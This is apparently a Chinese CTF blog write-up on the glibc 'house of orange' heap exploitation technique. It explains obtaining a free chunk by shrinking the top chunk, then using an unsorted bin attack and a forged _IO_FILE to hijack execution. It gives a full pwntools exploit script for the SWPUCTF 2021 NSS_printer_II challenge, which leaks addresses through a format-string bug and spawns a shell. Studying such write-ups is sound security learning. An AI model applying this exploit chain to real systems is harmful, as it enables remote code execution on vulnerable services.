house_of_orange

文章发布时间:

最后更新时间:

house of orange

我们在打House of Force中使用的方法是修改Top_chunk为一个特别大的值来拿捏Top_chunk,之后申请一个特别大的chunk,
循环一遍内存之后就可以访问到原本Top_chunk上方的内容

那如果将Top_chunk修改为一个很小的值呢?

malloc分配内存的时候实际上更底层是通过sbrk的调用拓展内存的空间的
假如我们把Top_chunk修改为一个很小的数,这时再申请一个更大的chunk
内存认为的Top_chunk是无法满足申请空间的需求的,因此堆管理器后续会再使用brk申请一块新的区域

正常来说堆管理器会直接将通过brk分配的新内存直接并入到Top_chunk中(即让Top_chunk变大)
但是由于我们改小了Top_chunk,堆管理器认为Top_chunk与堆的尾部并不相邻

因此会将原本的Top_chunk Free掉

这样一番过程下来,我们就没有通过Free函数得到了一个Free chunk
根据修改的Top Chunk大小,我们可以利用这个Free Chunk来实现Unsorted bin attack

利用Unsorted bin attack结合伪造IO_file就可以劫持程序执行流

需要伪造的是这段,目标是触发_overflow函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> dt FILE
FILE
+0x0000 _flags : int
+0x0008 _IO_read_ptr : char *
+0x0010 _IO_read_end : char *
+0x0018 _IO_read_base : char *
+0x0020 _IO_write_base : char *
+0x0028 _IO_write_ptr : char *
+0x0030 _IO_write_end : char *
+0x0038 _IO_buf_base : char *
+0x0040 _IO_buf_end : char *
+0x0048 _IO_save_base : char *
+0x0050 _IO_backup_base : char *
+0x0058 _IO_save_end : char *
+0x0060 _markers : struct _IO_marker *
+0x0068 _chain : struct _IO_FILE *
+0x0070 _fileno : int
+0x0074 _flags2 : int
+0x0078 _old_offset : __off_t
+0x0080 _cur_column : short unsigned int
+0x0082 _vtable_offset : signed char
+0x0083 _shortbuf : char [1]
+0x0088 _lock : _IO_lock_t *
+0x0090 _offset : __off64_t
+0x0098 _codecvt : struct _IO_codecvt *
+0x00a0 _wide_data : struct _IO_wide_data *
+0x00a8 _freeres_list : struct _IO_FILE *
+0x00b0 _freeres_buf : void *
+0x00b8 __pad5 : size_t
+0x00c0 _mode : int
+0x00c4 _unused2 : char [20]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7f0b81d6d703 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7f0b81d6d703 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7f0b81d6d703 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7f0b81d6d703 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7f0b81d6d703 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7f0b81d6d703 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7f0b81d6d703 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7f0b81d6d704 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f0b81d6d760 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f0b81d6e8b0 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f0b81d6c780 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f0b81d692a0 <_IO_file_jumps>
}

还是放段源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可以按照如下伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#house of orange
#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = b'/bin/sh\x00' #flags,也是最后__overflow调用的参数
fake_file += p64(0x61) #size为0x61,被放入small_bin,从而对应了chain指针
fake_file += p64(0) + p64(io_list_all - 0x10)#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr
fake_file += b'\x00'*0x90 #填充中间(从_IO_write_end后到_mode)(对利用)无用的数据
fake_file += p64(0) #_mode <= 0
fake_file += b'\x00'*0x10 #_unused2
fake_file += p64(heap_base + 0x120) #the offset byte of vtable
fake_file += p64(0)*3
fake_file += p64(system)#__overflow

payload = b'a'*0x10
payload += fake_file

注意该攻击手段仅适用于2.23及2.23以前,但是其在无free的情况下造成free的手段可以使用
来看个例题吧
[SWPUCTF 2021 新生赛]NSS_printer_II
checksec

1
2
3
4
5
6
7
└─$ checksec printer
[*] '/mnt/Desktop/printer'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main函数内存在一次base编码,具体不赘述
存在格式化字符串漏洞,可以泄露libc和heap
只有增,删改查都没有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-E8h]
unsigned int size; // [rsp+Ch] [rbp-E4h]
char *format; // [rsp+18h] [rbp-D8h]
char s1[32]; // [rsp+20h] [rbp-D0h] BYREF
char v7[32]; // [rsp+40h] [rbp-B0h] BYREF
char v8[136]; // [rsp+60h] [rbp-90h] BYREF
unsigned __int64 v9; // [rsp+E8h] [rbp-8h]

v9 = __readfsqword(0x28u);
init(argc, argv, envp);
v3 = 0;
while ( 1 )
{
do
{
printf("username = ");
gets(s1);
printf("password = ");
gets(v7);
++v3;
base64_encode(v7, (__int64)v8);
}
while ( strcmp(s1, "NSSCTF") );
if ( !strcmp(v8, "Z=FZJhKU5jPQ3jC65I86F0Kb") )
{
puts("Hello, welcome to NSS printer");
while ( 1 )
{
printf("lens of your word: ");
size = read_num();
if ( size > 0x1000 )
break;
format = (char *)malloc(size);
printf("input what you want to say: ");
gets(format);
printf("you said: ");
printf(format);
putchar(10);
}
puts("too long");
exit(1);
}
}
}

难点就是如何在没有free的情况下free掉一个chunk,使其进入unsortedbin,以完成稍后的利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import*
from ctypes import *
from struct import pack
context(arch = 'amd64', os = 'linux', log_level = 'debug')

def debug():
gdb.attach(p)
pause()

#p = process(["./printer"], env={"LD_PRELOAD":"./libc.so.6"})
p = remote('node5.anna.nssctf.cn', 29000)

p.sendlineafter("username = ", "NSSCTF\x00")
p.sendlineafter("password = ", "NSSCTF{b@se_xx_64}\x00")

def attack(size, content):
p.sendlineafter("word: ", str(size))
p.sendlineafter("say: ", content)

pl = b'%37$p.%33$p.%9$p' + p64(0) + p64(0xfe1)
attack(0x10, pl)
#fmt
p.recvuntil('0x')
libc_start_main_addr = int((p.recv(12)),16) - 240
p.recvuntil('0x')
pro_base = int((p.recv(12)),16) - 0xa10
p.recvuntil('0x')
heap_base = int((p.recv(12)),16) - 0x10

libc = ELF('./libc.so.6') #2.23-0ubuntu11.3_amd64
libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
io_list_all = libc_base + libc.sym['_IO_list_all']

success("libc:%s",hex(libc_base))
success("system:%s",hex(system))
success("heap_base:%s",hex(heap_base))


#--------house of orange--------
#debug()
attack(0x1000, b'aaaaa') #----- 修改Top Chunk得到一个Free chunk ##本地debug过不去,但是ida反编译和靶机环境都可以申请到0x1000的chunk

#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = b'/bin/sh\x00' #flags,也是最后__overflow调用的参数
fake_file += p64(0x61) #size作为0x61,被放入small_bin,从而对应了chain指针
fake_file += p64(0) + p64(io_list_all - 0x10)#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr
fake_file += b'\x00'*0x90 #填充中间(从_IO_write_end后到_mode)(对利用)无用的数据
fake_file += p64(0) #_mode <= 0
fake_file += b'\x00'*0x10 #_unused2
fake_file += p64(heap_base + 0x120) #the offset byte of vtable
fake_file += p64(0)*3
fake_file += p64(system)#__overflow

payload = b'a'*0x10
payload += fake_file


attack(0x10, payload)
p.sendlineafter("word: ", str(0x10))
p.interactive()

报了一堆错,但是弹了一个shell
需要多打几次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[DEBUG] Received 0x4b bytes:
b"*** Error in `./pwn5': malloc(): memory corruption: 0x00007f3d936e6520 ***\n"
*** Error in `./pwn5': malloc(): memory corruption: 0x00007f3d936e6520 ***
[DEBUG] Received 0x178 bytes:
b'======= Backtrace: =========\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f3d933987f5]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f3d933a315e]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3d933a51d4]\n'
b'./pwn5(+0xfc0)[0x55dc9c804fc0]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3d93341840]\n'
b'./pwn5(+0xa39)[0x55dc9c804a39]\n'
b'======= Memory map: ========\n'
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f3d933987f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f3d933a315e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3d933a51d4]
./pwn5(+0xfc0)[0x55dc9c804fc0]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3d93341840]
./pwn5(+0xa39)[0x55dc9c804a39]
======= Memory map: ========
$

第一次复现如此巧妙的攻击手法,喵喵喵
前面的例题,以后再来探索吧